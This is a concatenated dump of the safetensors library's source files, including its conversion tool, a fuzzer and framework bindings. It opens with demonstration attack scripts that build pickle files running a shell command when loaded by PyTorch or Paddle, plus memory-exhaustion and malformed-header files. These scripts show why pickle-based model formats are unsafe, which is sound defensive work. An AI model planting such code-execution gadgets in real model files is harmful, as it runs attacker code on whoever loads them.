docs / huggingface_safetensors.txt
danidarko's picture
Upload 59 files
b1d4de0 verified
raw
history blame
45.8 kB
# File: safetensors-main/attacks/numpy_dos_get_pwned.py
import os
import numpy as np
filename = 'numpy_dos.npz'
print(f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine.")
print('Be careful this might crash your computer by reserving way too much RAM')
input('Press Enter to continue')
archive = np.load(filename)
weights = archive['weight']
assert np.allclose(weights, np.zeros((2, 2)))
print('The file looks fine !')
# File: safetensors-main/attacks/paddle_ace_create.py
import paddle
import numpy as np
from collections import Iterable, OrderedDict
def _parse_every_object(obj, condition_func, convert_func):
if condition_func(obj):
return convert_func(obj)
elif isinstance(obj, (dict, OrderedDict, list)):
if isinstance(obj, list):
keys = range(len(obj))
else:
keys = list(obj.keys())
for key in keys:
if condition_func(obj[key]):
obj[key] = convert_func(obj[key])
else:
obj[key] = _parse_every_object(obj[key], condition_func, convert_func)
return obj
elif isinstance(obj, tuple):
return tuple(_parse_every_object(list(obj), condition_func, convert_func))
elif isinstance(obj, set):
object(list(obj), condition_func, convert_func)
else:
return obj
paddle.framework.io._parse_every_object = _parse_every_object
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (eval, (f"os.system('{self.src}') or dict()",), None, None, iter(self.items()))
paddle.save([BadDict('echo "pwned your computer, I can do anything I want."', **{'weight': paddle.zeros((2, 2))})], 'paddle_ace.pdparams')
# File: safetensors-main/attacks/safetensors_abuse_attempt_1.py
import torch
from safetensors.torch import load_file, save_file
filename = 'safetensors_abuse_attempt_1.safetensors'
def create_payload():
weights = {'weight': torch.zeros((2, 2))}
save_file(weights, filename)
with open(filename, 'r+b') as f:
f.seek(0)
n = 1000
n_bytes = n.to_bytes(8, 'little')
f.write(n_bytes)
create_payload()
test = load_file(filename)
# File: safetensors-main/attacks/safetensors_abuse_attempt_2.py
import datetime
import json
import os
from safetensors.torch import load_file
filename = 'safetensors_abuse_attempt_2.safetensors'
def create_payload():
shape = [2, 2]
n = shape[0] * shape[1] * 4
metadata = {f'weight_{i}': {'dtype': 'F32', 'shape': shape, 'data_offsets': [0, n]} for i in range(1000 * 1000 * 10)}
binary = json.dumps(metadata).encode('utf-8')
n = len(binary)
n_header = n.to_bytes(8, 'little')
with open(filename, 'wb') as f:
f.write(n_header)
f.write(binary)
f.write(b'\x00' * n)
create_payload()
print(f'The file {filename} is {os.path.getsize(filename) / 1000 / 1000} Mo')
start = datetime.datetime.now()
test = load_file(filename)
print(f'Loading the file took {datetime.datetime.now() - start}')
# File: safetensors-main/attacks/safetensors_abuse_attempt_3.py
import datetime
import json
import os
from safetensors.torch import load_file
filename = 'safetensors_abuse_attempt_2.safetensors'
def create_payload():
shape = [200, 200]
n = shape[0] * shape[1] * 4
metadata = {f'weight_{i}': {'dtype': 'F32', 'shape': shape, 'data_offsets': [0, n]} for i in range(1000 * 100)}
binary = json.dumps(metadata).encode('utf-8')
n = len(binary)
n_header = n.to_bytes(8, 'little')
with open(filename, 'wb') as f:
f.write(n_header)
f.write(binary)
f.write(b'\x00' * n)
create_payload()
print(f'The file {filename} is {os.path.getsize(filename) / 1000 / 1000} Mo')
start = datetime.datetime.now()
test = load_file(filename)
print(f'Loading the file took {datetime.datetime.now() - start}')
# File: safetensors-main/attacks/tf_ace_get_pwned.py
import base64
import json
import h5py
import tensorflow as tf
new_model = tf.keras.models.load_model('tf.h5')
print('Transformers is not vulnerable to this, as it uses h5 directly.')
print('Keras uses a pickled code of the function within the `h5` attrs of the file')
print("Let's show you the marshalled code")
with h5py.File('tf_ace.h5') as f:
data = json.loads(f.attrs['model_config'])
print(base64.b64decode(data['config']['layers'][-1]['config']['function'][0]))
pass
# File: safetensors-main/attacks/torch_ace_create.py
import torch
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (eval, (f"os.system('{self.src}') or dict()",), None, None, iter(self.items()))
torch.save(BadDict('echo "pwned your computer, I can do anything I want."', **{'weight': torch.zeros((2, 2))}), 'torch_ace.pt')
# File: safetensors-main/attacks/torch_dos_create.py
import os
from zipfile import ZIP_DEFLATED, ZipFile
import torch
FILESIZE = 40 * 1000
BUFFER = b'\x00' * 1000 * 1000
filename = 'torch_dos_tmp.pt'
torch.save({'weight': torch.zeros((2, 2))}, filename)
with ZipFile(filename, 'r') as torch_zip:
outfilename = 'torch_dos.pt'
with ZipFile(outfilename, 'w', compression=ZIP_DEFLATED) as outzip:
outzip.writestr('archive/data.pkl', torch_zip.open('archive/data.pkl').read())
outzip.writestr('archive/version', torch_zip.open('archive/version').read())
with outzip.open('archive/data/0', 'w', force_zip64=True) as f:
for i in range(FILESIZE):
f.write(BUFFER)
os.remove(filename)
# File: safetensors-main/attacks/torch_dos_get_pwned.py
import os
import torch
filename = 'torch_dos.pt'
print(f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine.")
print('Be careful this might crash your computer by reserving way too much RAM')
input('Press Enter to continue')
weights = torch.load(filename)
assert list(weights.keys()) == ['weight']
assert torch.allclose(weights['weight'], torch.zeros((2, 2)))
print('The file looks fine !')
# File: safetensors-main/bindings/python/convert.py
import argparse
import json
import os
import shutil
from collections import defaultdict
from tempfile import TemporaryDirectory
from typing import Dict, List, Optional, Set, Tuple
import torch
from huggingface_hub import CommitInfo, CommitOperationAdd, Discussion, HfApi, hf_hub_download
from huggingface_hub.file_download import repo_folder_name
from safetensors.torch import _find_shared_tensors, _is_complete, load_file, save_file
COMMIT_DESCRIPTION = '\nThis is an automated PR created with https://huggingface.co/spaces/safetensors/convert\n\nThis new file is equivalent to `pytorch_model.bin` but safe in the sense that\nno arbitrary code can be put into it.\n\nThese files also happen to load much faster than their pytorch counterpart:\nhttps://colab.research.google.com/github/huggingface/notebooks/blob/main/safetensors_doc/en/speed.ipynb\n\nThe widgets on your model page will run using this model even if this is not merged\nmaking sure the file actually works.\n\nIf you find any issues: please report here: https://huggingface.co/spaces/safetensors/convert/discussions\n\nFeel free to ignore this PR.\n'
ConversionResult = Tuple[List['CommitOperationAdd'], List[Tuple[str, 'Exception']]]
def _remove_duplicate_names(state_dict: Dict[str, torch.Tensor], *, preferred_names: List[str]=None, discard_names: List[str]=None) -> Dict[str, List[str]]:
if preferred_names is None:
preferred_names = []
preferred_names = set(preferred_names)
if discard_names is None:
discard_names = []
discard_names = set(discard_names)
shareds = _find_shared_tensors(state_dict)
to_remove = defaultdict(list)
for shared in shareds:
complete_names = set([name for name in shared if _is_complete(state_dict[name])])
if not complete_names:
if len(shared) == 1:
name = list(shared)[0]
state_dict[name] = state_dict[name].clone()
complete_names = {name}
else:
raise RuntimeError(f'Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue.')
keep_name = sorted(list(complete_names))[0]
preferred = complete_names.difference(discard_names)
if preferred:
keep_name = sorted(list(preferred))[0]
if preferred_names:
preferred = preferred_names.intersection(complete_names)
if preferred:
keep_name = sorted(list(preferred))[0]
for name in sorted(shared):
if name != keep_name:
to_remove[keep_name].append(name)
return to_remove
def get_discard_names(model_id: str, revision: Optional[str], folder: str, token: Optional[str]) -> List[str]:
try:
import json
import transformers
config_filename = hf_hub_download(model_id, revision=revision, filename='config.json', token=token, cache_dir=folder)
with open(config_filename, 'r') as f:
config = json.load(f)
architecture = config['architectures'][0]
class_ = getattr(transformers, architecture)
discard_names = getattr(class_, '_tied_weights_keys', [])
except Exception:
discard_names = []
return discard_names
class AlreadyExists(Exception):
pass
def check_file_size(sf_filename: str, pt_filename: str):
sf_size = os.stat(sf_filename).st_size
pt_size = os.stat(pt_filename).st_size
if (sf_size - pt_size) / pt_size > 0.01:
raise RuntimeError(f'The file size different is more than 1%:\n - {sf_filename}: {sf_size}\n - {pt_filename}: {pt_size}\n ')
def rename(pt_filename: str) -> str:
(filename, ext) = os.path.splitext(pt_filename)
local = f'{filename}.safetensors'
local = local.replace('pytorch_model', 'model')
return local
def convert_multi(model_id: str, *, revision=Optional[str], folder: str, token: Optional[str], discard_names: List[str]) -> ConversionResult:
filename = hf_hub_download(repo_id=model_id, revision=revision, filename='pytorch_model.bin.index.json', token=token, cache_dir=folder)
with open(filename, 'r') as f:
data = json.load(f)
filenames = set(data['weight_map'].values())
local_filenames = []
for filename in filenames:
pt_filename = hf_hub_download(repo_id=model_id, filename=filename, token=token, cache_dir=folder)
sf_filename = rename(pt_filename)
sf_filename = os.path.join(folder, sf_filename)
convert_file(pt_filename, sf_filename, discard_names=discard_names)
local_filenames.append(sf_filename)
index = os.path.join(folder, 'model.safetensors.index.json')
with open(index, 'w') as f:
newdata = {k: v for (k, v) in data.items()}
newmap = {k: rename(v) for (k, v) in data['weight_map'].items()}
newdata['weight_map'] = newmap
json.dump(newdata, f, indent=4)
local_filenames.append(index)
operations = [CommitOperationAdd(path_in_repo=os.path.basename(local), path_or_fileobj=local) for local in local_filenames]
errors: List[Tuple[str, 'Exception']] = []
return (operations, errors)
def convert_single(model_id: str, *, revision: Optional[str], folder: str, token: Optional[str], discard_names: List[str]) -> ConversionResult:
pt_filename = hf_hub_download(repo_id=model_id, revision=revision, filename='pytorch_model.bin', token=token, cache_dir=folder)
sf_name = 'model.safetensors'
sf_filename = os.path.join(folder, sf_name)
convert_file(pt_filename, sf_filename, discard_names)
operations = [CommitOperationAdd(path_in_repo=sf_name, path_or_fileobj=sf_filename)]
errors: List[Tuple[str, 'Exception']] = []
return (operations, errors)
def convert_file(pt_filename: str, sf_filename: str, discard_names: List[str]):
loaded = torch.load(pt_filename, map_location='cpu')
if 'state_dict' in loaded:
loaded = loaded['state_dict']
to_removes = _remove_duplicate_names(loaded, discard_names=discard_names)
metadata = {'format': 'pt'}
for (kept_name, to_remove_group) in to_removes.items():
for to_remove in to_remove_group:
if to_remove not in metadata:
metadata[to_remove] = kept_name
del loaded[to_remove]
loaded = {k: v.contiguous() for (k, v) in loaded.items()}
dirname = os.path.dirname(sf_filename)
os.makedirs(dirname, exist_ok=True)
save_file(loaded, sf_filename, metadata=metadata)
check_file_size(sf_filename, pt_filename)
reloaded = load_file(sf_filename)
for k in loaded:
pt_tensor = loaded[k]
sf_tensor = reloaded[k]
if not torch.equal(pt_tensor, sf_tensor):
raise RuntimeError(f'The output tensors do not match for key {k}')
def create_diff(pt_infos: Dict[str, List[str]], sf_infos: Dict[str, List[str]]) -> str:
errors = []
for key in ['missing_keys', 'mismatched_keys', 'unexpected_keys']:
pt_set = set(pt_infos[key])
sf_set = set(sf_infos[key])
pt_only = pt_set - sf_set
sf_only = sf_set - pt_set
if pt_only:
errors.append(f'{key} : PT warnings contain {pt_only} which are not present in SF warnings')
if sf_only:
errors.append(f'{key} : SF warnings contain {sf_only} which are not present in PT warnings')
return '\n'.join(errors)
def previous_pr(api: 'HfApi', model_id: str, pr_title: str, revision=Optional[str]) -> Optional['Discussion']:
try:
revision_commit = api.model_info(model_id, revision=revision).sha
discussions = api.get_repo_discussions(repo_id=model_id)
except Exception:
return None
for discussion in discussions:
if discussion.status in {'open', 'closed'} and discussion.is_pull_request and (discussion.title == pr_title):
commits = api.list_repo_commits(model_id, revision=discussion.git_reference)
if revision_commit == commits[1].commit_id:
return discussion
return None
def convert_generic(model_id: str, *, revision=Optional[str], folder: str, filenames: Set[str], token: Optional[str]) -> ConversionResult:
operations = []
errors = []
extensions = set(['.bin', '.ckpt'])
for filename in filenames:
(prefix, ext) = os.path.splitext(filename)
if ext in extensions:
pt_filename = hf_hub_download(model_id, revision=revision, filename=filename, token=token, cache_dir=folder)
(dirname, raw_filename) = os.path.split(filename)
if raw_filename == 'pytorch_model.bin':
sf_in_repo = os.path.join(dirname, 'model.safetensors')
else:
sf_in_repo = f'{prefix}.safetensors'
sf_filename = os.path.join(folder, sf_in_repo)
try:
convert_file(pt_filename, sf_filename, discard_names=[])
operations.append(CommitOperationAdd(path_in_repo=sf_in_repo, path_or_fileobj=sf_filename))
except Exception as e:
errors.append((pt_filename, e))
return (operations, errors)
def convert(api: 'HfApi', model_id: str, revision: Optional[str]=None, force: bool=False) -> Tuple['CommitInfo', List[Tuple[str, 'Exception']]]:
pr_title = 'Adding `safetensors` variant of this model'
info = api.model_info(model_id, revision=revision)
filenames = set((s.rfilename for s in info.siblings))
with TemporaryDirectory() as d:
folder = os.path.join(d, repo_folder_name(repo_id=model_id, repo_type='models'))
os.makedirs(folder)
new_pr = None
try:
operations = None
pr = previous_pr(api, model_id, pr_title, revision=revision)
library_name = getattr(info, 'library_name', None)
if any((filename.endswith('.safetensors') for filename in filenames)) and (not force):
raise AlreadyExists(f'Model {model_id} is already converted, skipping..')
elif pr is not None and (not force):
url = f'https://huggingface.co/{model_id}/discussions/{pr.num}'
new_pr = pr
raise AlreadyExists(f'Model {model_id} already has an open PR check out {url}')
elif library_name == 'transformers':
discard_names = get_discard_names(model_id, revision=revision, folder=folder, token=api.token)
if 'pytorch_model.bin' in filenames:
(operations, errors) = convert_single(model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names)
elif 'pytorch_model.bin.index.json' in filenames:
(operations, errors) = convert_multi(model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names)
else:
raise RuntimeError(f"Model {model_id} doesn't seem to be a valid pytorch model. Cannot convert")
else:
(operations, errors) = convert_generic(model_id, revision=revision, folder=folder, filenames=filenames, token=api.token)
if operations:
new_pr = api.create_commit(repo_id=model_id, revision=revision, operations=operations, commit_message=pr_title, commit_description=COMMIT_DESCRIPTION, create_pr=True)
print(f'Pr created at {new_pr.pr_url}')
else:
print('No files to convert')
finally:
shutil.rmtree(folder)
return (new_pr, errors)
if __name__ == '__main__':
DESCRIPTION = '\n Simple utility tool to convert automatically some weights on the hub to `safetensors` format.\n It is PyTorch exclusive for now.\n It works by downloading the weights (PT), converting them locally, and uploading them back\n as a PR on the hub.\n '
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument('model_id', type=str, help='The name of the model on the hub to convert. E.g. `gpt2` or `facebook/wav2vec2-base-960h`')
parser.add_argument('--revision', type=str, help='The revision to convert')
parser.add_argument('--force', action='store_true', help='Create the PR even if it already exists of if the model was already converted.')
parser.add_argument('-y', action='store_true', help='Ignore safety prompt')
args = parser.parse_args()
model_id = args.model_id
api = HfApi()
if args.y:
txt = 'y'
else:
txt = input('This conversion script will unpickle a pickled file, which is inherently unsafe. If you do not trust this file, we invite you to use https://huggingface.co/spaces/safetensors/convert or google colab or other hosted solution to avoid potential issues with this file. Continue [Y/n] ?')
if txt.lower() in {'', 'y'}:
(commit_info, errors) = convert(api, model_id, revision=args.revision, force=args.force)
string = f'\n### Success 🔥\nYay! This model was successfully converted and a PR was open using your token, here:\n[{commit_info.pr_url}]({commit_info.pr_url})\n '
if errors:
string += '\nErrors during conversion:\n'
string += '\n'.join((f'Error while converting {filename}: {e}, skipped conversion' for (filename, e) in errors))
print(string)
else:
print(f'Answer was `{txt}` aborting.')
# File: safetensors-main/bindings/python/convert_all.py
""""""
from convert import AlreadyExists, convert
from huggingface_hub import HfApi, ModelFilter, ModelSearchArguments
from transformers import AutoConfig
if __name__ == '__main__':
api = HfApi()
args = ModelSearchArguments()
total = 50
models = list(api.list_models(filter=ModelFilter(library=args.library.Transformers), sort='downloads', direction=-1))[:total]
correct = 0
errors = set()
for model in models:
model = api.model_info(model.id, files_metadata=True)
size = None
for sibling in model.siblings:
if sibling.rfilename == 'pytorch_model.bin':
size = sibling.size
if size is None or size > 2000000000:
print(f'[{model.downloads}] Skipping {model.modelId} (too large {size})')
continue
model_id = model.modelId
print(f'[{model.downloads}] {model.modelId}')
try:
convert(api, model_id)
correct += 1
except AlreadyExists as e:
correct += 1
print(e)
except Exception as e:
config = AutoConfig.from_pretrained(model_id)
errors.add(config.__class__.__name__)
print(e)
print(f'Errors: {errors}')
print(f'File size is difference {len(errors)}')
print(f'Correct rate {correct}/{total} ({correct / total * 100:.2f}%)')
# File: safetensors-main/bindings/python/fuzz.py
import datetime
import sys
import tempfile
from collections import defaultdict
import atheris
with atheris.instrument_imports():
from safetensors.torch import load_file
EXCEPTIONS = defaultdict(int)
START = datetime.datetime.now()
DT = datetime.timedelta(seconds=30)
def TestOneInput(data):
global START
with tempfile.NamedTemporaryFile() as f:
f.write(data)
f.seek(0)
try:
load_file(f.name, device=0)
except Exception as e:
EXCEPTIONS[str(e)] += 1
if datetime.datetime.now() - START > DT:
for (e, n) in EXCEPTIONS.items():
print(e, n)
START = datetime.datetime.now()
atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
# File: safetensors-main/bindings/python/py_src/safetensors/flax.py
import os
from typing import Dict, Optional, Union
import numpy as np
import jax.numpy as jnp
from jax import Array
from safetensors import numpy, safe_open
def save(tensors: Dict[str, Array], metadata: Optional[Dict[str, str]]=None) -> bytes:
np_tensors = _jnp2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(tensors: Dict[str, Array], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
np_tensors = _jnp2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, Array]:
flat = numpy.load(data)
return _np2jnp(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, Array]:
result = {}
with safe_open(filename, framework='flax') as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def _np2jnp(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, Array]:
for (k, v) in numpy_dict.items():
numpy_dict[k] = jnp.array(v)
return numpy_dict
def _jnp2np(jnp_dict: Dict[str, Array]) -> Dict[str, np.array]:
for (k, v) in jnp_dict.items():
jnp_dict[k] = np.asarray(v)
return jnp_dict
# File: safetensors-main/bindings/python/py_src/safetensors/mlx.py
import os
from typing import Dict, Optional, Union
import numpy as np
import mlx.core as mx
from safetensors import numpy, safe_open
def save(tensors: Dict[str, mx.array], metadata: Optional[Dict[str, str]]=None) -> bytes:
np_tensors = _mx2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(tensors: Dict[str, mx.array], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
np_tensors = _mx2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, mx.array]:
flat = numpy.load(data)
return _np2mx(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, mx.array]:
result = {}
with safe_open(filename, framework='mlx') as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def _np2mx(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, mx.array]:
for (k, v) in numpy_dict.items():
numpy_dict[k] = mx.array(v)
return numpy_dict
def _mx2np(mx_dict: Dict[str, mx.array]) -> Dict[str, np.array]:
new_dict = {}
for (k, v) in mx_dict.items():
new_dict[k] = np.asarray(v)
return new_dict
# File: safetensors-main/bindings/python/py_src/safetensors/numpy.py
import os
import sys
from typing import Dict, Optional, Union
import numpy as np
from safetensors import deserialize, safe_open, serialize, serialize_file
def _tobytes(tensor: np.ndarray) -> bytes:
if not _is_little_endian(tensor):
tensor = tensor.byteswap(inplace=False)
return tensor.tobytes()
def save(tensor_dict: Dict[str, np.ndarray], metadata: Optional[Dict[str, str]]=None) -> bytes:
flattened = {k: {'dtype': v.dtype.name, 'shape': v.shape, 'data': _tobytes(v)} for (k, v) in tensor_dict.items()}
serialized = serialize(flattened, metadata=metadata)
result = bytes(serialized)
return result
def save_file(tensor_dict: Dict[str, np.ndarray], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
flattened = {k: {'dtype': v.dtype.name, 'shape': v.shape, 'data': _tobytes(v)} for (k, v) in tensor_dict.items()}
serialize_file(flattened, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, np.ndarray]:
flat = deserialize(data)
return _view2np(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, np.ndarray]:
result = {}
with safe_open(filename, framework='np') as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
_TYPES = {'F64': np.float64, 'F32': np.float32, 'F16': np.float16, 'I64': np.int64, 'U64': np.uint64, 'I32': np.int32, 'U32': np.uint32, 'I16': np.int16, 'U16': np.uint16, 'I8': np.int8, 'U8': np.uint8, 'BOOL': bool}
def _getdtype(dtype_str: str) -> np.dtype:
return _TYPES[dtype_str]
def _view2np(safeview) -> Dict[str, np.ndarray]:
result = {}
for (k, v) in safeview:
dtype = _getdtype(v['dtype'])
arr = np.frombuffer(v['data'], dtype=dtype).reshape(v['shape'])
result[k] = arr
return result
def _is_little_endian(tensor: np.ndarray) -> bool:
byteorder = tensor.dtype.byteorder
if byteorder == '=':
if sys.byteorder == 'little':
return True
else:
return False
elif byteorder == '|':
return True
elif byteorder == '<':
return True
elif byteorder == '>':
return False
raise ValueError(f'Unexpected byte order {byteorder}')
# File: safetensors-main/bindings/python/py_src/safetensors/paddle.py
import os
from typing import Dict, Optional, Union
import numpy as np
import paddle
from safetensors import numpy
def save(tensors: Dict[str, paddle.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes:
np_tensors = _paddle2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(tensors: Dict[str, paddle.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
np_tensors = _paddle2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes, device: str='cpu') -> Dict[str, paddle.Tensor]:
flat = numpy.load(data)
return _np2paddle(flat, device)
def load_file(filename: Union[str, os.PathLike], device='cpu') -> Dict[str, paddle.Tensor]:
flat = numpy.load_file(filename)
output = _np2paddle(flat, device)
return output
def _np2paddle(numpy_dict: Dict[str, np.ndarray], device: str='cpu') -> Dict[str, paddle.Tensor]:
for (k, v) in numpy_dict.items():
numpy_dict[k] = paddle.to_tensor(v, place=device)
return numpy_dict
def _paddle2np(paddle_dict: Dict[str, paddle.Tensor]) -> Dict[str, np.array]:
for (k, v) in paddle_dict.items():
paddle_dict[k] = v.detach().cpu().numpy()
return paddle_dict
# File: safetensors-main/bindings/python/py_src/safetensors/tensorflow.py
import os
from typing import Dict, Optional, Union
import numpy as np
import tensorflow as tf
from safetensors import numpy, safe_open
def save(tensors: Dict[str, tf.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes:
np_tensors = _tf2np(tensors)
return numpy.save(np_tensors, metadata=metadata)
def save_file(tensors: Dict[str, tf.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None) -> None:
np_tensors = _tf2np(tensors)
return numpy.save_file(np_tensors, filename, metadata=metadata)
def load(data: bytes) -> Dict[str, tf.Tensor]:
flat = numpy.load(data)
return _np2tf(flat)
def load_file(filename: Union[str, os.PathLike]) -> Dict[str, tf.Tensor]:
result = {}
with safe_open(filename, framework='tf') as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def _np2tf(numpy_dict: Dict[str, np.ndarray]) -> Dict[str, tf.Tensor]:
for (k, v) in numpy_dict.items():
numpy_dict[k] = tf.convert_to_tensor(v)
return numpy_dict
def _tf2np(tf_dict: Dict[str, tf.Tensor]) -> Dict[str, np.array]:
for (k, v) in tf_dict.items():
tf_dict[k] = v.numpy()
return tf_dict
# File: safetensors-main/bindings/python/py_src/safetensors/torch.py
import os
import sys
from collections import defaultdict
from typing import Any, Dict, List, Optional, Set, Tuple, Union
import torch
from safetensors import deserialize, safe_open, serialize, serialize_file
def storage_ptr(tensor: torch.Tensor) -> int:
try:
return tensor.untyped_storage().data_ptr()
except Exception:
try:
return tensor.storage().data_ptr()
except NotImplementedError:
return 0
def _end_ptr(tensor: torch.Tensor) -> int:
if tensor.nelement():
stop = tensor.view(-1)[-1].data_ptr() + _SIZE[tensor.dtype]
else:
stop = tensor.data_ptr()
return stop
def storage_size(tensor: torch.Tensor) -> int:
try:
return tensor.untyped_storage().nbytes()
except AttributeError:
try:
return tensor.storage().size() * _SIZE[tensor.dtype]
except NotImplementedError:
return tensor.nelement() * _SIZE[tensor.dtype]
def _filter_shared_not_shared(tensors: List[Set[str]], state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
filtered_tensors = []
for shared in tensors:
if len(shared) < 2:
filtered_tensors.append(shared)
continue
areas = []
for name in shared:
tensor = state_dict[name]
areas.append((tensor.data_ptr(), _end_ptr(tensor), name))
areas.sort()
(_, last_stop, last_name) = areas[0]
filtered_tensors.append({last_name})
for (start, stop, name) in areas[1:]:
if start >= last_stop:
filtered_tensors.append({name})
else:
filtered_tensors[-1].add(name)
last_stop = stop
return filtered_tensors
def _find_shared_tensors(state_dict: Dict[str, torch.Tensor]) -> List[Set[str]]:
tensors = defaultdict(set)
for (k, v) in state_dict.items():
if v.device != torch.device('meta') and storage_ptr(v) != 0 and (storage_size(v) != 0):
tensors[v.device, storage_ptr(v), storage_size(v)].add(k)
tensors = list(sorted(tensors.values()))
tensors = _filter_shared_not_shared(tensors, state_dict)
return tensors
def _is_complete(tensor: torch.Tensor) -> bool:
return tensor.data_ptr() == storage_ptr(tensor) and tensor.nelement() * _SIZE[tensor.dtype] == storage_size(tensor)
def _remove_duplicate_names(state_dict: Dict[str, torch.Tensor], *, preferred_names: Optional[List[str]]=None, discard_names: Optional[List[str]]=None) -> Dict[str, List[str]]:
if preferred_names is None:
preferred_names = []
preferred_names = set(preferred_names)
if discard_names is None:
discard_names = []
discard_names = set(discard_names)
shareds = _find_shared_tensors(state_dict)
to_remove = defaultdict(list)
for shared in shareds:
complete_names = set([name for name in shared if _is_complete(state_dict[name])])
if not complete_names:
raise RuntimeError(f'Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue.')
keep_name = sorted(list(complete_names))[0]
preferred = complete_names.difference(discard_names)
if preferred:
keep_name = sorted(list(preferred))[0]
if preferred_names:
preferred = preferred_names.intersection(complete_names)
if preferred:
keep_name = sorted(list(preferred))[0]
for name in sorted(shared):
if name != keep_name:
to_remove[keep_name].append(name)
return to_remove
def save_model(model: torch.nn.Module, filename: str, metadata: Optional[Dict[str, str]]=None, force_contiguous: bool=True):
state_dict = model.state_dict()
to_removes = _remove_duplicate_names(state_dict)
for (kept_name, to_remove_group) in to_removes.items():
for to_remove in to_remove_group:
if metadata is None:
metadata = {}
if to_remove not in metadata:
metadata[to_remove] = kept_name
del state_dict[to_remove]
if force_contiguous:
state_dict = {k: v.contiguous() for (k, v) in state_dict.items()}
try:
save_file(state_dict, filename, metadata=metadata)
except ValueError as e:
msg = str(e)
msg += ' Or use save_model(..., force_contiguous=True), read the docs for potential caveats.'
raise ValueError(msg)
def load_model(model: torch.nn.Module, filename: Union[str, os.PathLike], strict: bool=True, device: Union[str, int]='cpu') -> Tuple[List[str], List[str]]:
state_dict = load_file(filename, device=device)
model_state_dict = model.state_dict()
to_removes = _remove_duplicate_names(model_state_dict, preferred_names=state_dict.keys())
(missing, unexpected) = model.load_state_dict(state_dict, strict=False)
missing = set(missing)
for to_remove_group in to_removes.values():
for to_remove in to_remove_group:
if to_remove not in missing:
unexpected.append(to_remove)
else:
missing.remove(to_remove)
if strict and (missing or unexpected):
missing_keys = ', '.join([f'"{k}"' for k in sorted(missing)])
unexpected_keys = ', '.join([f'"{k}"' for k in sorted(unexpected)])
error = f'Error(s) in loading state_dict for {model.__class__.__name__}:'
if missing:
error += f'\n Missing key(s) in state_dict: {missing_keys}'
if unexpected:
error += f'\n Unexpected key(s) in state_dict: {unexpected_keys}'
raise RuntimeError(error)
return (missing, unexpected)
def save(tensors: Dict[str, torch.Tensor], metadata: Optional[Dict[str, str]]=None) -> bytes:
serialized = serialize(_flatten(tensors), metadata=metadata)
result = bytes(serialized)
return result
def save_file(tensors: Dict[str, torch.Tensor], filename: Union[str, os.PathLike], metadata: Optional[Dict[str, str]]=None):
serialize_file(_flatten(tensors), filename, metadata=metadata)
def load_file(filename: Union[str, os.PathLike], device: Union[str, int]='cpu') -> Dict[str, torch.Tensor]:
result = {}
with safe_open(filename, framework='pt', device=device) as f:
for k in f.keys():
result[k] = f.get_tensor(k)
return result
def load(data: bytes) -> Dict[str, torch.Tensor]:
flat = deserialize(data)
return _view2torch(flat)
_float8_e4m3fn = getattr(torch, 'float8_e4m3fn', None)
_float8_e5m2 = getattr(torch, 'float8_e5m2', None)
_SIZE = {torch.int64: 8, torch.float32: 4, torch.int32: 4, torch.bfloat16: 2, torch.float16: 2, torch.int16: 2, torch.uint8: 1, torch.int8: 1, torch.bool: 1, torch.float64: 8, _float8_e4m3fn: 1, _float8_e5m2: 1}
_TYPES = {'F64': torch.float64, 'F32': torch.float32, 'F16': torch.float16, 'BF16': torch.bfloat16, 'I64': torch.int64, 'I32': torch.int32, 'I16': torch.int16, 'I8': torch.int8, 'U8': torch.uint8, 'BOOL': torch.bool, 'F8_E4M3': _float8_e4m3fn, 'F8_E5M2': _float8_e5m2}
def _getdtype(dtype_str: str) -> torch.dtype:
return _TYPES[dtype_str]
def _view2torch(safeview) -> Dict[str, torch.Tensor]:
result = {}
for (k, v) in safeview:
dtype = _getdtype(v['dtype'])
if len(v['data']) == 0:
assert any((x == 0 for x in v['shape']))
arr = torch.empty(v['shape'], dtype=dtype)
else:
arr = torch.frombuffer(v['data'], dtype=dtype).reshape(v['shape'])
if sys.byteorder == 'big':
